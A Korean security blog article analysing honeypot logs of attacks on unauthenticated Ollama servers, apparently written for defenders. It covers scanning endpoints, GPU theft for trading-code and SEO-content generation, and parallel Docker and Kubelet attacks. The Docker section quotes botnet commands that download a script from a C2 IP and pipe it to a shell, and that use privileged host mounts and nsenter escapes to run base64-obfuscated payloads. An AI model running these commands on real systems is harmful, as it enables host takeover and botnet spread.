홈으로 돌아가기

Ollama 남용: 거래 및 콘텐츠 팜

이 기사는 오픈 Ollama 인스턴스의 Honeypots 로그를 분석합니다: 정찰, health-check, 거래·교육·SEO 콘텐츠 악용. Docker 및 Kubelet 병렬 공격과 탈출 기법 설명. IOC, MITRE ATT&CK 및 보호 조치 제공.

Ollama 공격 중: 봇들이 거래를 위해 GPU 탈취
Advertisement 728x90

올라마 남용: 트레이딩 봇에서 콘텐츠 팜까지

오픈된 올라마 인스턴스가 트레이딩 전략 코드 생성, 교육 자료 제작, SEO 콘텐츠 대량 생산에 악용되고 있다. 독일, 미국, 러시아의 허니팟은 람마3.1:8b와 쿵웬2.5:7b와 같은 인기 모델에 대한 요청을 기록했다. 공격자는 타인의 GPU를 활용하기 전에 사전 조사, 상태 점검, 병렬 API 엔드포인트 테스트를 수행한다.

사전 조사 및 가용성 확인

스캐너는 인스턴스 기능 여부를 확인하기 위해 기본 쿼리부터 시작한다. 주요 엔드포인트는 다음과 같다:

  • GET /api/tags — Ollama API에서 사용 가능한 모델 목록을 제공한다.
  • GET /v1/models — OpenAI 호환 모델 목록.
  • GET /api/version — 서버 버전 정보.

미국 기반 노드에서는 1주 동안 /v1/models 요청이 244건, /api/tags 요청이 58건 기록됐다. 한 IP는 POST /v1/chat/completions를 사용해 "messages": [{"role": "user", "content": "health-check"}]라는 페이로드로 매 20분마다 상태 점검을 실시하며 총 244회 반복했다.

Google AdInline article slot

모델 식별은 예측 가능한 패턴을 따른다. 람마3.1:8b, 쿵웬2.5:7b, 코드람마:13b, 미스트랄:7b, 딥시크:33b, 람마3.2 등에 간단한 프롬프트(예: "Hello" 또는 "hi")를 보내 응답이 오면 해당 인스턴스를 사용 가능하다고 판단한다.

악용: 작업 유형

사전 조사를 마친 후 실제 작업이 시작된다. 세 가지 유형이 관찰됐다.

트레이딩 봇

미국 기반 노드에서는 성공적인 상태 점검 후 트레이딩 전략 코드를 자동 생성하는 파이프라인이 작동한다:

Google AdInline article slot
{
  "messages": [{
    "role": "user",
    "content": "Write Python 3 code for:\ndef backtest_strategy(prices: list[float]) -> float:\nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
  }]
}

이 프롬프트는 /api/chat, /v1/chat/completions, /v1/completions를 통해 세 모델에 걸쳐 12번 반복됐다. 이는 알고리즘 트레이딩을 위한 무료 백엔드 컴퓨팅을 찾는 체계적인 시도임을 보여준다.

LLM 클라이언트의 프록시 역할

중국 사용자와의 세션에서는 GLM 클라이언트가 전체 대화 기록(시스템 프롬프트 및 이전 응답 포함)을 포워딩했다. 마오쩌둥의 대립적 논리의 모순에 대한 안키 플래시카드 요청: 做一个学习毛泽东的矛盾论 有30张卡片的anki牌组. 최종 검증: 你是什么模型 (무슨 모델이야?).

콘텐츠 팜

러시아 기반 노드에서는 SEO 콘텐츠를 위한 템플릿 프롬프트가 사용됐다:

Google AdInline article slot
Answer the following question thoroughly and in detail.

Question: How have neural networks and deep learning transformed AI?

RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##

Answer:

##ANSWER_DONE##라는 정지어는 파서가 완료를 감지하는 데 사용된다. 주제는 머신러닝과 AI 발전 등이다. 여러 모델을 병렬로 쿼리하고, 사고의 흐름을 적용해 질문에 답변한다.

병렬 인프라 공격

올라마 스캐너는 종종 도커(포트 2375) 및 큐브렛(포트 10250) 공격과 결합된다.

도커 악용

봇넷 docker.selfrep (C2: 31.57.216.121)는 다음 명령을 실행한다:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

더 위험한 봇넷(서버: 45.194.92.39)은 특권 컨테이너를 사용한다:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

대안으로 nsenter 탈출:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

큐브렛 사전 조사

/api/v1/pods, /healthz, ML 전용 /update_weights_from_tensor 요청은 머신러닝 파이프라인을 찾으려는 시도를 나타낸다.

핵심 요약

  • 인증 없이 오픈된 올라마 인스턴스가 트레이딩, 교육, SEO에 통합되어 사용된다.
  • 상태 점검 및 모델 식별(람마3.1, 쿵웬2.5 등)은 자동화된 스캐너의 일반적인 행동이다.
  • 도커 공격은 nsenter를 통한 컨테이너 탈출, 특권 마운트, base64 오브스큐레이션을 결합한다.
  • ##ANSWER_DONE##이나 health-check와 같은 마커는 봇 팜을 탐지하는 데 도움이 된다.
  • 보호에는 로컬 바인딩, 리버스 프록시, 트래픽 모니터링이 필요하다.

— Editorial Team

Advertisement 728x90

다음 읽기